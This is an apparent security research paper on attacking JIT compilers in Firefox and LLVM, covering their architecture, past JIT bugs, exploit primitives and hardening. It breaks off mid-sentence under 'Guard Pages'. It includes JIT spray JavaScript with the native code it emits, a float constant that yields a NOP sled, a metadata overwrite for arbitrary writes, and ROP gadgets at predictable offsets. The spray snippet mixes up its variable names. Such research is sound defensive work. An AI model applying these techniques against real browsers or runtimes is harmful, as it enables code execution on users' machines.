
Attacking Clientside JIT Compilers

Chris Rohlf
@chrisrohlf
chris@matasano.com

Yan Ivnitskiy
@yan
yan@matasano.com

mailto:chris@matasano.com
mailto:chris@matasano.com
mailto:chris@matasano.com
mailto:chris@matasano.com
mailto:chris@matasano.com
mailto:chris@matasano.com
mailto:chris@matasano.com
mailto:chris@matasano.com
mailto:chris@matasano.com
mailto:chris@matasano.com
mailto:yan@matasano.com
mailto:yan@matasano.com
mailto:yan@matasano.com
mailto:yan@matasano.com
mailto:yan@matasano.com
mailto:yan@matasano.com
mailto:yan@matasano.com
mailto:yan@matasano.com
mailto:yan@matasano.com
mailto:yan@matasano.com


Introduction
Targets

JIT Design Overview
Trace/JaegerMonkey Architecture

TraceMonkey
LLVM JIT Architecture

LLVM Uses
LLVM Code Emission and Execution

Vulnerabilities
Exploit Primitives

JIT Spray
Page Permissions
ROP gaJITs and JIT Feng Shui

Hardening Techniques
Randomization Of Allocation APIs
Page Permissions
Guard Pages
Constant Folding
Constant Blinding
Allocation Restrictions
Random NOP Insertion/Random Code Base Offsets

JIT Hardening Comparison
Tools

Debugging and Tracing
Fuzzing

JavaScript Fuzzing
LLVM Language Runtime Fuzzing
Rubinius Fuzzing

Conclusion and Future Direction



Introduction

Web browsers host the majority of applications we use daily. While convenient, these 
applications are primarily written in JavaScript and as such are generally slower than 
counterparts compiled to native code. To help ease this problem, browsers have 
implemented Just-In-Time execution engines (JITs) into their already complex code 
bases. 'Just In Time' is not an apt description for a process that requires a very 
interesting and sophisticated architecture. At their core, JIT engines take an 
intermediate representation (IR) from a compiler front-end and produce machine code, 
such as x86 or ARM and execute it on the fly.

Since the JIT does not attempt to parse code or provide runtime library support, front-
end engines and a suite of libraries are typically used in conjunction with a JIT to create 
the IR and provide an environment for the code to execute in. The front-end may parse 
raw language syntax such as ECMAScript (of which, JavaScript, ActionScript and 
JScript are common dialects) and produce the IR needed to generate native code.

Browsers aren't the only applications benefiting from JIT engines. Projects such as 
Rubinius (Ruby) and Unladen Swallow (Python) have started to use JIT engines to 
speed up the execution of dynamic languages. The Java virtual machine uses a JIT to 
increase performance, as does the Microsoft .NET Common Language Runtime. This 
trend will likely only continue, and as such, application developers and end-users should 
be acquainted with the potential security risks introduced by JIT engines.

Our research focused on 3 front end compilers and back end JIT engines for which little, 
or no public security research exists. We explore the potential security impacts of using 
JIT engines in applications such as web browsers and language runtimes and describe 
the tools we developed for security researchers to build on our JIT research. We also 
discuss a case study of a security vulnerability we found in the Firefox SpiderMonkey 
front end and discuss ways the back end JaegerMonkey JIT can be used to exploit the 
vulnerability. Finally, we will conclude with discussion on possible techniques for 
hardening JIT implementations that apply to both browser and language runtime JIT 
engines.

Targets

Our research efforts focused on JITs that have not been extensively researched by the 
security community in the past. The overall architecture of a JIT engine is rather 
complex and includes several components from front end syntax parsers and 



Intermediate Representation (IR) compilers to back end native code generation. Our 
research focused on the following JIT components:

● Mozilla SpiderMonkey front end
○ Mozilla JaegerMonkey and Nitro back end
○ Mozilla TraceMonkey and NanoJIT back end

● LLVM bitcode parser, its JIT engine, and applications that embed them.

JIT Design Overview

While the goals of all JIT engines are essentially identical, their approaches differ. 
Intermediate representation optimization, machine code emission and code rewriting 
are expensive processes, so it is important to ensure that cost of code emission will not 
outweigh the performance benefits of creating native code. 

To this degree, different engines follow different policies on code generation that can 
roughly be grouped into types: tracing and method. Method JITs always emit native 
code for every block (or method) of code reached and update references dynamically. 
Under a tracing JIT, hit counts are kept for each method invocation and native code is 
only emitted when a certain block or method is considered “hot.” This attempts to 
reduce superfluous emission for code rarely invoked, such as initialization routines.

Several architectural components are present in every engine we surveyed. While every 
JIT engine will approach their implementation differently, these components usually 
always exist in some form. These include: a memory manager for allocating and 
tracking where native code has been written, an intermediate representation translation 
layer and an assembler for writing native instructions to memory.

Depending on the JIT design, other components may also be present. A property cache 
is typically implemented for languages like JavaScript due to the nature of its dynamic 
typing system. Tracing JITs often implement an interface that watches and records the 
execution of bytecode. Method JITs can implement an inline cache for rewriting type 
lookups at runtime.

Trace/JaegerMonkey Architecture

Mozilla's front end JavaScript engine, SpiderMonkey, parses JavaScript syntax and 
generates an internal intermediate representation byte code. This intermediate 



representation is considered trusted as only internal components can generate it. The 
IR is then fed to either the TraceMonkey or JaegerMonkey JIT engine to be compiled 
into native code. Each of these components is broken up into two main parts: the front 
end, which parses the script and generates the intermediate bytecode; and the back 
end where the intermediate bytecode is turned into native code and executed. Our 
architecture review is broken down to cover each of these engines separately.

Mozilla's SpiderMonkey is the front end component that parses ECMA/JavaScript and 
produces an internal trusted intermediate representation. The SpiderMonkey engine 
provides all of the interfaces defined by the ECMA specification. This implementation 
requires writing a lot of code that is traditionally difficult to write securely. The code must 
parse script text from untrusted sources and then create and maintain object instances 
to represent the script throughout its runtime.

Executing SpiderMonkey produced bytecode derived from processor intensive 
JavaScript can be a slow process. To solve this problem, Mozilla first introduced the 
TraceMonkey engine which traces the execution of the IR and attempts to detect hot 
code paths that would benefit from JIT compilation. Hot code paths are defined as 
blocks that execute loops more than once. This technique was effective and gave 
Mozilla a performance edge compared to other browsers. With the release of Firefox 4, 
Mozilla introduced another JIT engine named JaegerMonkey. JaegerMonkey is a 
method JIT design and always compiles all JavaScript into non-optimized native code. 
These two engines complement each other and are discussed in detail below.

JaegerMonkey

JaegerMonkey was designed to JIT all SpiderMonkey-produced IR without first tracing 
and recording its interpreted execution. Nitro, borrowed from the WebKit project (and 
originally developed for Safari) is the back end assembler for JaegerMonkey. Because 
the JaegerMonkey engine emits code for all SpiderMonkey IR it does not attempt to 
produce highly optimized code. This is by design as JaegerMonkey’s design goals were 
meant to complement the optimized TraceMonkey engine. 

Nitro can emit native code for x86, x86_64 and ARM processors. Cross platform JITs 
can be written using Nitro due to an abstraction layer named AbstractMacroAssembler. 
Firefox takes advantage of this feature, however these other architectures were outside 
the scope of our research. Our JaegerMonkey architecture breakdown starts from the 
bottom up with a review of the Nitro assembler’s memory management and code 
generation.



Nitro is composed of two parts: one that handles code assembly and one that handles 
allocation and deallocation of memory for native code. Memory allocation is performed 
via a call to VirtualAlloc on Win32 systems and mmap on POSIX systems. These pages 
are tracked via ExecutablePool class instances. The ExecutablePool class contains 
several member variables used for tracking and carving up the larger allocated 
resources. These include Allocation::page, Allocation::size, m_freePtr, m_end and 
m_refCount.

The ExecutablePool class carves up the larger allocation via utility methods. Clients can 
use the ExecutablePool::alloc method which takes as its argument the size of the 
allocation requested. This calls further boil down to the poolForSize method which first 
checks for any existing small pools that may be able to hold the allocation. If none exist, 
and the allocation size requested isn't considered large (large = pageSize * 16),  a new 
pool is created. The m_freePtr and m_End class members track the beginning and end 
of the allocation.

JaegerMonkey uses this interface to allocate pools of raw RWX memory. The 
AssemblerBuffer and LinkBuffer class is then used to write individual code chunks to 
them. These underlying abstractions use the ExecutableAllocator class to choose the 
best pool for the code chunk based on its size. The JIT memory won’t be deallocated 
until the ExecutablePool class instance is destroyed.



In practice, this rudimentary allocator is not very attractive to an attacker. But knowledge 
of how each executable page is chunked up and handled by the JIT engine is essential 
in understanding how the JIT translates the intermediate representation to native code 
to memory.

The bulk of the bytecode to native code translation is performed in the mjit::Compiler 
class which can be found in firefox/js/src/methodjit/Compiler.cpp. The Compiler class 
implements a number of opcode handler functions that translate SpiderMonkey 
bytecode instructions to their native code block equivalents using the AssemblerBuffer 
and LinkBuffer classes mentioned earlier. This class is further broken down by whether 
the inline cache is enabled or disabled, with support for both instances. These 



translation functions vary in purpose. Some of them are designed to populate a PolyIC 
structure that describes the inline cache that needs to be updated or written to memory. 
Others are for simple operations like arithmetic. These operations either call into C++ 
stub functions or use Nitro to write code that operates on primitives (such as integers 
and doubles) directly.

JaegerMonkey contains a few tricks that allow for significant performance gains. The 
JaegerMonkey JIT engine uses a technique known as Inline Caching (IC) to perform 
faster object type lookups. Unlike C/C++ structures where types are static and defined 
at compile time, JavaScript types can change during runtime. This functionality is 
supported by the SpiderMonkey intermediate bytecode which has special instructions 
such as JSOP_GETPROP that return the value of a specific property by looking up its 
type first. This is all done in conjunction with the SpiderMonkey property cache which is 
used to store the Shape of existing objects. In SpiderMonkey all native objects have a 
Shape which is a structure that defines how the object can be accessed. When a type is 
first seen in JaegerMonkey it is considered monomorphic. The MonoIC class exists to 
handle these common cases where multiple type lookups are not required but native 
compilation is still desired. When an object property changes type, a more complex 
method is required. 

An easy way to introduce the concept of an Inline Cache is through the following 
JavaScript code:

var vals = [1, "hello", [1,2,3], /there/ ];
for (var i in vals) {
    print(vals[i].toString());

}

In the code above we iterate through a small array consisting of a Number, a String, an 
Array and a RegEx object. For each member of the vals array, the toString method is 
called. For each object in the array, the interpreter has to perform an expensive type 
lookup and determine the correct toString method to call. This entire process can be 
made more efficient by combining inline caching and stub calls for known property 
accesses. When an object's type is modified the native get property (GET_PROP) code 
has to be updated. Mozilla introduced chained PIC (Polymorphic Inline Caching) slots to 
solve this problem. This process essentially creates several blocks of native code that 
perform property lookups for types the object has already been seen as. If the first type 
does not match, then a branch is taken to the next code block to perform a lookup on 
the next type and so on. Designing this performance enhancing feature requires some 



security tradeoffs as we will discuss later in the exploitation primitives section of this 
paper.

The JaegerMonkey source code can be found in mozilla/firefox/js/src/methodjit/ 
directory of the Firefox source code. Knowledge of a few key classes is essential in 
understanding how the inline cache works:

●PICStubCompiler - Inherits from BaseCompiler. The other PIC classes inherit from 
PICStubCompiler and use it to initialize the BaseCompiler class. 

●SetPropCompiler - A class that generates native code and calls to stubs for setting 
properties of objects

●GetPropCompiler - A class that generates native code and calls to stubs for getting 
properties of objects

●ScopeNameCompiler - A class that generates native code for performing name 
lookups such as function or variable names

●BindNameCompiler - A class that generates native code for performing name 
assignment

TraceMonkey

TraceMonkey is a tracing engine built using Mozilla's SpiderMonkey. TraceMonkey uses 
a trace monitor, jstracer, to watch the SpiderMonkey bytecode as it is interpreted and 
executed. Whenever it sees code that would benefit from native compilation, it activates 
its recorder. The recorder records the execution of the IR and creates NanoJIT LIR (Low 
Level Intermediate Representation), which is then compiled into native code. These 
native code chunks are referred to as fragments in NanoJIT. NanoJIT produces highly 
optimized code, and as such, has no need for inline caches or rewriting of native code 
on the fly.

Just like Nitro in JaegerMonkey, the backend NanoJIT engine is responsible for memory 
management of executable JIT pages. This is done through the CodeAlloc class 
interface. The CodeAlloc class uses the CodeList class to track individual blocks of 
code. Each NanoJIT page is created with RWX (Read Write Execute) permissions and 
contains some meta data. This meta data is described in the CodeList class. This class 
has several member values that are relevant:

CodeList* next;   // Points to the next CodeList
CodeList* lower;   // Points to the previous CodeList
CodeList* terminator;   // Points to the main _chunk_ that holds this particular list
bool isFree;     // true if this block is free
bool isExec;     // true if this block is executable



union {
    CodeList* higher;  // Points to the next block
    NIns* end;           // Points to the end of this block
};

NIns  code[1]; // The native compiled code

This meta data can be found at the start of each JIT page at known static offsets. These 
pointers are an attractive overwrite target for an attacker. Overwriting their values will 
lead to an arbitrary 4 byte write anywhere in memory. This attack is similar to early heap 
unlink attacks in various heap implementations.

Our jitter toolchain uses this data to walk allocated JIT pages in addition to hooking 
specific functions within the JIT.

A detailed image of the TraceMonkey architecture can be found on Mozilla’s website [1].

LLVM JIT Architecture 

LLVM is a compiler infrastructure that includes libraries and tools for all stages of the 
compilation process. LLVM is quickly becoming the preferred toolchain for Mac OS X 
and iOS devices, such as Rubinius' JIT implementation, and the JIT component of the 
upcoming PNaCL component for Google’s Native Client (NaCL) project. LLVM on its 
own contains no security boundaries, and strives for performance far above integrity 
(I.e. bitcode parsing, code emission, and other core functionality trusts all its inputs). 
However, we still saw benefit in focusing on LLVM as it is becoming the de-facto project 
for adding JIT support to existing code bases.
 
LLVM compiles source into an internal, well-defined representation, which comes in 
three semantically-equivalent forms: a textual assembly form, a binary bitcode format, 
and a C++ API. Rubinius uses LLVM via its API directly, PNaCL uses bitcode as mobile 
code medium.

On the implementation level, LLVM IR is represented as a graph of C++ objects that 
capture IR's semantics and topography. BasicBlocks represent series of IR instructions 
(represented by the Instruction class), each of which refer to one or more operands and 
values (all derived from the Value base class). LLVM packages all code and references 
into Modules, which are analogous to C's translation units.

Since LLVM is designed as a set of libraries rather than a monolithic project, the front-
end compiler, optimizers, bitcode handling and all other major tasks are bundled 
separately and have minimal interdependencies. We are focusing only on LLVM 



assembly/bitcode parsers and the JIT execution engine that is embedded whenever an 
LLVM JIT is used.

To begin executing, LLVM first loads bitcode via the BitcodeReader class, materializing 
an internal representation. LLVM lazily compiles the materialized code, and will only 
emit the entry function (usually main or an analog) and any data it requires at first. All 
external calls are handled via standard PLTs. Whenever a call to a non-compiled 
function is emitted, a stub that invokes LLVM's compilation function 
(X86CompilationCallback, defined in lib/Target/X86/X86JITInfo.cpp for X86 architecture) 
is emitted. Only during the invocation of the target function is it emitted. Once a block of 
code is generated, all global mappings that reference it are updated.

LLVM Uses

A number of projects have opted to use LLVM's JIT to increase execution performance. 
Since some use cases involve extending a mature code-base that was not designed 
with the LLVM instruction set in mind, a few integration strategies exist. 

The most intimate method, as employed by the MacRuby project, is to use LLVM 
libraries directly and from the start. MacRuby has been aware of LLVM from the 
beginning and operates by directly producing LLVM instructions. This approach is most 
dependent on LLVM and does not attempt to produce a secondary execution 
environment.

Another method involves translating a project's own virtual machine instruction set to 
LLVM's, as the ClamAV and Rubinius projects opted to. Both projects implement their 
own instruction set, their own instruction format and their own virtual machine, using 
only LLVM to improve performance. The translation is usually implemented via a visitor 
object that is invoked for every source VM instruction to emit LLVM instructions.

LLVM Code Emission and Execution

Once an instruction graph has been materialized, the LLVM is ready to emit code by the 
ExecutionEngine. The majority of platform-independent code is in lib/ExecutionEngine/ (and lib/
ExecutionEngine/JIT specifically, with a target machine implementation in lib/CodeGen/
LLVMTargetMachine.cpp), with platform-dependent components in lib/Target/X86/ (in the case 
of X86).

The following listing attempts to shed light on the high-level organization of the LLVM’s 
execution engine:

● ExecutionEngine (lib/ExecutionEngine/ExecutionEngine.h)



○Base class that represents the LLVM JIT engine. Two implementations currently 
exist: JIT and MCJIT. MCJIT is incomplete as of July 2011, but will use the MC 
project [2]. This paper will not touch on MCJIT as it has not yet matured.

● JIT (lib/ExecutionEngine/JIT/JIT.cpp)
○The JIT class is platform-independent representation of the execution engine. Its 

interface provides the ability to request the compilation of functions and blocks, 
emit global variables and register listeners (JITEventListener objects) to monitor 
for JIT emission. The JIT class also manages the mapping between an LLVM 
functions and their actualized addresses via a BasicBlock to void* mapping 
(BasicBlockAddresMap).

● JITState (lib/ExecutionEngine/JIT/JIT.h)
○The JITState class is contained by the JIT ExecutionEngine and is used to contain 

references to the Module and a FunctionPassManager. A Module is used as a 
container for all Functions and Values (similar to a translation unit) and a 
FunctionPassManager is a list of passes that perform the actual compilation of 
LLVM instructions to native code. Pass implementations can be found in the 
target-specific locations of LLVM (e.g. lib/Target/X86)

● JITCodeEmitter (include/llvm/CodeGen/JITCodeEmitter.h)
○JITCodeEmitter is the abstract class that declares two types of methods: for 

emitting actual bytes of machine code and for emitting auxiliary structures such 
as jump tables and relocations.

● JITEmitter : JITCodeEmitter (lib/ExecutionEngine/JIT/JITEmitter.cpp)
○Implements JITCodeEmitter and handles code emission details such as buffer 

management, relocations, constants, and jump tables. As such, maintains a 
JITMemoryManager, a JITResolver, a reference back to the JIT engine, and 
pointers to locations currently being emitted.

● JITResolver (lib/ExecutionEngine/JIT/JITEmitter.cpp)
○JITResolver maintains and resolves call sites for functions and code blocks that 

have not yet been compiled.
● JITMemoryManager (DefaultJITMemoryManager, lib/ExecutionEngine/JIT/

JITMemoryManager.cpp)
○Allocates, deallocates and maintains memory slabs that are used for code 

emission. Marks all memory as RWX and does not attempt to randomize or 
otherwise protect memory locations.



Vulnerabilities

The past few years have seen a rise in the number of JIT vulnerabilities reported to 
vendors. The attractiveness of security bugs in JIT engines is clear: they can allow for 
fail open logic, information leaks or direct arbitrary code execution. A JIT engine 
requires many complex components, each propagating intermediate object code 
representation and optimizations to the next. Where this complex logic flow between 
multiple components can lose synchronization, security vulnerabilities are inevitable.

While the concept of a compiler producing incorrect code is not new, JIT engines raise 
the stakes by performing this compilation at runtime while potentially under the influence 
of untrusted inputs. The CWE (Common Weakness Enumeration) guide only contains 
one mention of compilation related vulnerabilities [7]. This CWE entry concerns a 
compiler optimizing away a security check inserted by a developer. One concern with 
complex JIT engines is compiler will producing incorrect code at runtime through either 
a miscalculation of code locations, mishandled register states or a bad pointer 
dereference, to name a few. The number of potential vulnerabilities here could easily be 
the subject of an entire research effort in its own right. However there are many real-
world examples of this type of vulnerability.



Our first example is a bug (Bugzilla entry 635295 [3]) discovered in Mozilla Firefox 4 
Beta in February 2011. This issue led to an incorrect branch being taken by the native 
code emitted by the JIT, which clearly has security implications, but the bug was not 
marked security-relevant. The bug was due to the fast path being linked with a native 
inline cache to an object that had already been garbage collected. In this vulnerability 
untrusted JavaScript influenced the flow of native code and could possibly lead directly 
to arbitrary code execution without the need for a memory corruption vulnerability.

JIT vulnerabilities can also manifest themselves as difficult to detect logic bugs, such is 
the case of MS11-044 [4]. In this vulnerability, the JIT engine incorrectly assumed an 
object was always NULL or non-NULL. While unlikely to occur in practice, it is possible 
in a certain situation, the bug could result in a fail open scenario resulting in behaviors 
such as authentication bypasses. Fuzzing for these types of vulnerabilities is difficult 
and manual review of the JIT-produced native code is also a tedious process without 
the right tools.

Java recently patched a vulnerability [5] in which the x64 JIT engine incorrectly 
produced the following code sequence:

Intended code emission:

addq (%rsp),0xffffff2b  ; add 0xffffff2b to what %rsp points at
popfq       ; pop 64 bits from stack, load the lower 32 bits into 
RFLAGS

Unintended code emission:

addq %rsp,0xffffff2b  ; add 0xffffff2b to %rsp
popfq     ; pop 64 bits from stack, load the lower 32 bits into RFLAGS

The unintended code sequence shifts the stack pointer by the constant 0xffffff2b 
instead of adding 0xffffff2b to the value at rsp. This vulnerability can lead to 
interesting scenarios where the stack has been shifted to attacker controlled data. 
Subsequent use of the stack pointer could result in arbitrary code execution without the 
need for an additional memory corruption vulnerability.

These examples of incorrect JIT code emission prove that JIT engines can be the 
source of vulnerabilities not just a means to exploit them. Some of these vulnerabilities 
essentially hand over execution to an alternative code path. Protection mechanisms 
may suddenly lose all value when faced with a vulnerability that allows for arbitrary 
redirection of execution.



Unfortunately, majority of these code emission bugs are not marked security-relevant by 
vendors. They have traditionally been an issue of program correctness and left code 
that exercised undefined behavior to chance. This is in line with what has been 
expected of compilers in the past. But today's treatment of a high-level language, such 
as JavaScript, as a code delivery medium and the rising need for architecture-
independent bitcode formats, transfers issues of poorly-handled undefined behavior and 
actual code generation bugs into real security issues that deserve closer scrutiny.

Exploit Primitives

JIT engines introduce a number of possible exploit primitives due to the unrestrictive 
page permissions and influence of native code generation from untrusted sources. The 
exploitation primitives discussed in this paper raise a number of questions about how 
well memory protection mechanisms work in the face of components whose feature set 
directly negates their purpose.

In 2010, Dionysus Blazakis presented a paper at BlackHat DC in which he introduced a 
technique named JIT Spray [6]. The technique involved feeding ActionScript to the 
Adobe Flash Player VM which contained attacker-controlled constants by XORing them 
together. This simple code was then translated to native code by the JIT and produced a 
number of native XOR instructions which operated on the user provided constants. 
These constants could be strung together as shellcode to exploit a memory corruption 
vulnerability when interpreted as x86 instructions. While it has been reported that this 
technique was privately discussed before Dion’s presentation, this was the first public 
talk on the subject and opened doors to a wider exploration of the topic by the security 
research community. Many of the JIT engines we surveyed (JaegerMonkey, 
TraceMonkey, LLVM, Java) still permit this technique to work.

Modern operating systems employ a number of different memory protection techniques 
to thwart memory corruption exploits. The two main, and most effective, protections are 
W^X / DEP and ASLR. W^X or DEP (Data Execution Prevention) is meant to prevent 
memory pages from being concurrently writable and executable. ASLR (Address Space 
Layout Randomization) randomizes base addresses of memory sections to increase the 
difficulty of predicting target addresses. When these two protection mechanisms are 
combined, they provide a reasonably secure process environment and decrease the 
odds of an attacker executing arbitrary code through a memory corruption vulnerability. 
The current trend in exploit development favors using multiple vulnerabilities to achieve 
code execution. This typically means an attacker must possess a memory corruption 
vulnerability and an information leak for reliable exploitation.



Certain JIT features weaken the protections these techniques provide. This section of 
the paper is dedicated to exploring these features, how they contribute to an overall 
weaker process security model and how they may be used as exploitation primitives.

JIT Spray

We started our research into JIT exploit primitives by identifying known exploitation 
techniques using JIT engines. As previously mentioned, the JIT Spray technique was 
the first reliable technique to be documented. Proving this technique is effective against 
other JIT engines is underlines the need for defending against it.

The following JavaScript demonstrates the feasibility of the attack against the 
JaegerMonkey JIT engine:

var constants = [ 0x12424242, 0x23434343, 0x34444444, 0x45454545, 
                  0x56464646, 0x67474747, 0x78484848, /test/ ];

for (var i in vals) {
    print(vals[i]);
}

The JIT produces and executes the following native code:

=> 0x40a044: mov    $0x8,%edx
   0x40a049: lea    0x38(%ebx),%ecx
   0x40a04c: mov    %ecx,0x14(%esp)
   0x40a050: mov    %esp,%ecx
   0x40a052: mov    %ebx,0x1c(%esp)
   0x40a056: movl   $0x83ceaeb,0x18(%esp)
   0x40a05e: call   0x82d1820 NewInitArray(js::VMFrame&, uint32) ; create the vals array
   0x40a063: mov    %eax,%edi   ; $edi holds returned array object
   0x40a065: mov    0x24(%edi),%edi   ; load obj->slots in to $edi
   0x40a068: movl   $0xffff0001,0x4(%edi)  ; JSVAL_TYPE_INT32 into object->slots[1]
   0x40a06f: movl   $0x12424242,(%edi)  ; 1st constant into object->slots[0]
   0x40a075: mov    %eax,%edi
   0x40a077: mov    0x24(%edi),%edi
   0x40a07a: movl   $0xffff0001,0xc(%edi)
   0x40a081: movl   $0x23434343,0x8(%edi) ; 2nd constant
   0x40a088: mov    %eax,%edi
   0x40a08a: mov    0x24(%edi),%edi
   0x40a08d: movl   $0xffff0001,0x14(%edi)
   0x40a094: movl   $0x34444444,0x10(%edi) ; 3rd constant
   0x40a09b: mov    %eax,%edi
   0x40a09d: mov    0x24(%edi),%edi
   0x40a0a0: movl   $0xffff0001,0x1c(%edi)
   0x40a0a7: movl   $0x45454545,0x18(%edi) ; 4th constant
   0x40a0ae: mov    %eax,%edi
   0x40a0b0: mov    0x24(%edi),%edi
   0x40a0b3: movl   $0xffff0001,0x24(%edi)
   0x40a0ba: movl   $0x56464646,0x20(%edi) ; 5th constant



The above assembly code allocates a new JSObject instance to represent the 
constants  array. The return value stored in eax is moved to the edi register. This points 
to the native object and is dereferenced by 0x24 bytes in order to get the slots member 
array which will hold the contents of our JavaScript array. Since each member of the 
array is an integer, the operation is a simple movl instruction that writes the value type 
(JSVAL_TYPE_INT32 = 0xffff0001) followed by the integer value itself. As we stated in 
an earlier section of this paper, the JaegerMonkey engine does not produce highly 
optimized code. This can be seen by the repeated load of the obj address into the edi 
register from the return value in the eax register.

The original JIT spray technique produced simpler native code that moved a constant 
into a register and repeatedly called the XOR instruction. While the JaegerMonkey 
produced JIT spray code is slightly more complex, it is still entirely predictable in that it 
uses the 32 bit edi register as an index into the object->slots array to add new array 
constants. This means the byte sequences are predictable in both size and content and 
shellcode can still be built from it. This combined with the fact that the constants are at a 
fixed offset from the beginning of the code page means we wont have trouble guessing 
what their offset is from the page base address.

Some readers may have noticed the /test/ regular expression added to the end of the 
array. This is to force the generation of the fast path (JIT code emission) instead of 
optimizing the integer-only array earlier during bytecode generation.

JIT Spray through the TraceMonkey engine is also possible. We were able to achieve 
much tighter code emission through the use of floating point values. On 32bit x86 
architectures a floating point value will occupy 64 bits of memory. If we take a floating 
point value such as -6.828527034422786e-229 in JavaScript this value will be 
represented in memory as the following hexedecimal string 0x9090909090909090. The 
0x90 byte is a NOP instruction in the x86 architecture.

The original JavaScript:

    var a, b, c, d = -6.828527034422786e-229;

The JIT produces and executes the following native code:

    0x429eda: movl   $0x90909090,0x5c0(%esi)
    0x429ee4: movl   $0x90909090,0x5c4(%esi)
    0x429eee: movl   $0x90909090,0x5c8(%esi)
    0x429ef8: movl   $0x90909090,0x5cc(%esi)
    0x429f02: movl   $0x90909090,0x5d0(%esi)
    0x429f0c: movl   $0x90909090,0x5d4(%esi)



    0x429f16: movl   $0x90909090,0x5d8(%esi)
    0x429f20: movl   $0x90909090,0x5dc(%esi)

Our floating point values can now easily be used to perform a JIT spray attack against 
the TraceMonkey engine.

Page Permissions

JaegerMonkey, TraceMonkey and LLVM JITs all must allocate and manage memory for 
the native code they generate. In order to do this, a low level allocator is used. The 
preferred API is mmap(2) on POSIX platforms and VirtualAlloc on Windows. These low-
level memory allocators are often requested to provide memory marked with Read, 
Write and Execute permissions. While these page permissions can seem arbitrarily 
chosen to be as open as possible, they are necessary to support principal behavior of 
the JIT engine.

Nearly all JIT engines surveyed during our research allocate pages with RWX 
permissions (save for IE9). This weak permission mask directly contradicts the security 
gains made by protection features such as DEP. Some JIT designs rely on these 
protections as higher-grained access control can result in sometimes substantial 
decreases in performance.

In the case of JaegerMonkey the Inline Cache (IC) requires both Write and Execute 
permissions in order to maintain the performance advantage for which it was designed. 
As previously covered in this paper, the Nitro assembler uses the ExecutablePool class 
to allocate the necessary memory to hold emitted code. These larger allocations are 
then carved to holder individual chunks of native code. A trip through mprotect(2) or 
VirtualProtect with each cache update would cost valuable CPU cycles. We believe it is 
for this reason, engines utilizing an inline cache will not be able to solve in the short 
term without a measurable performance penalty. The following comment from the Nitro / 
JaegerMonkey source confirms our suspicions:

/* Setting this flag prevents the assembler from using RWX memory; this may improve security but 
currently comes at a significant performance cost. */
#if WTF_PLATFORM_IPHONE
#define ENABLE_ASSEMBLER_WX_EXCLUSIVE 1
#else
#define ENABLE_ASSEMBLER_WX_EXCLUSIVE 0
#endif

It is common for ROP (Return Oriented Programming) payloads to use an existing 
import to VirtualAlloc, VirtualProtect, WriteProcessMemory or different API that can be 
used to allocate writable and executable memory to which a larger shellcode payload 



will be copied to. If no suitable imports can be found, it is reasonable to expect an 
attacker to reuse an existing RWX page either through landing in one by chance via JIT 
spray or leaking the address of a JIT page.

ROP gaJITs and JIT Feng Shui

Return Oriented Programming (ROP) is a technique invented to evade the protection 
provided by DEP / WX [10] [11]. The concept of ROP involves chaining together code 
sequences in existing executable code present in the process via the application .text or 
a loaded library module. These unintended code sequences are often referred to as 
gadgets as each one performs a small task but can be combined to create working state 
machines. The most common ROP payload chains together gadgets that change the 
stack pointer to an attacker-controlled payload, allocate RWX memory, copy a larger 
shellcode payload into it and execute it. As we noted in the previous page permissions 
section, some of these steps may no longer be necessary as JIT engines often 
introduce many RWX pages at predictable locations either through spray or non-
randomized allocation APIs.

In addition to the possibility of RWX overwrites, we introduce the concept of gaJITs 
which we define as unintended code sequences found on multiple JIT produced code 
pages at static or predictable offsets. The attractiveness of this technique is clear. While 
loaded library modules may contain more, easier-to-find ROP gadgets, their location is 
always randomized and can only be loaded once by the target process. JIT page 
allocations, along with their predictable code sequences, can be allocated many times 
and are under the direct influence of untrusted inputs.

The concept of using repeated code chunks across multiple JIT pages to piece together 
ROP (Return Orientated Programming) gadgets has been researched previously by 
Chris Rohlf (a co-author of this paper) [12]. At the time, the only JIT engine reviewed in 
this research was Firefox’s TraceMonkey. We have expanded that research to 
JaegerMonkey and LLVM and developed a gaJIT finding Ruby class for our jitter 
toolchain covered later in this paper.

In order to properly produce and find usable gaJITs in emitted code we need a way to 
better influence the JIT engine into producing them. To solve this problem we introduce 
JIT Feng Shui. The concept of JIT Feng Shui is derived from Alex Sotirov’s Heap Feng 
Shui technique [15]. Heap Feng Shui was developed for use in a memory corruption 
exploits where the underlying heap structures needed to be groomed in a certain 
pattern to increase exploit reliability. We borrowed the technique name as the intended 
purpose is very similar. Using specific high level language patterns we can coerce the 



JIT engine to produce predictable code chunks that contain specific code sequences. 
These code sequences often contain predictable gaJITs. Each JIT engine is different in 
this regard, while the general technique is applicable to all JIT engines that don’t 
randomize their generated code, the implementation will vary widely.

The ROP technique is often mitigated by ASLR (Address Space Layout Randomization) 
which decreases the likelihood that specific gadgets are at a known location. While 
randomization may still be applied to JIT memory allocation routines such as 
VirtualAlloc, the fact remains that than untrusted source (JavaScript or a bytecode 
representation) can still force the engine into allocating many copies of the native code 
throughout memory. This can effectively mitigate the protection provided by ASLR. It is 
imperative, for this reason, that random NOP insertion be implemented on each JIT 
produced page in order to prevent this attack. We cover this mitigation technique in the 
JIT Hardening section of this paper.

Below is an example of an easy gaJIT to generate in TraceMonkey emitted JIT code:

gaJIT at offset 0x9e18 (10 matches)
pop esi ; pop edi ; pop ebx ; pop ebp ; ret

This allows us to control the contents of several registers in a single gaJIT instance.

Hardening Techniques

We briefly researched the state of JIT hardening techniques across a number of 
different competing JIT implementations. This research gave us a better feel for which 
JIT's were hardened against attackers and which might aid an attacker in successfully 
exploiting a target in a hardened environment where protections such as  DEP and 
ASLR are enforced.

Randomization Of Allocation APIs

Pages for emitted native code are often allocated using low level APIs such as mmap 
on POSIX platforms and VirtualAlloc on Win32 platforms. Randomizing JIT code pages 
is key to defeating JIT sprays and code reuse attacks, much as randomization of DLL's 
is key to defeating traditional ROP exploits. On Linux, memory returned by the mmap 
API is subject to ASLR and is randomized by default. However, the VirtualAlloc call on 
Win32 is not randomized by default and will return predictable allocations of contiguous 
memory at offsets of 0x10000 bytes. Fortunately, VirtualAlloc takes an optional 
argument indicating the desired page location to allocate. Creating a randomization 



wrapper around VirtualAlloc to simulate mmap’s existent behavior should be a 
straightforward process.

Page Permissions

JIT code pages require RW permissions at the time of code emission and require RX 
permissions to execute the emitted code. However, most JIT engines create these 
pages with full RWX permissions from the start and do not drop privileges after code 
generation is complete. For some JIT engines, this may break the design of the JIT 
(Like JaegerMonkey’s inline cache) and severely impact performance.

Other engines have a more clearly-defined separation between emission and execution 
(such as IE9’s and LLVM’s) and as such, can reduce attack surface by reducing the 
amount of allocated RWX pages at any point in time.

Guard Pages

Heap allocators often allocate memory with Read Write permissions. In the case of a 
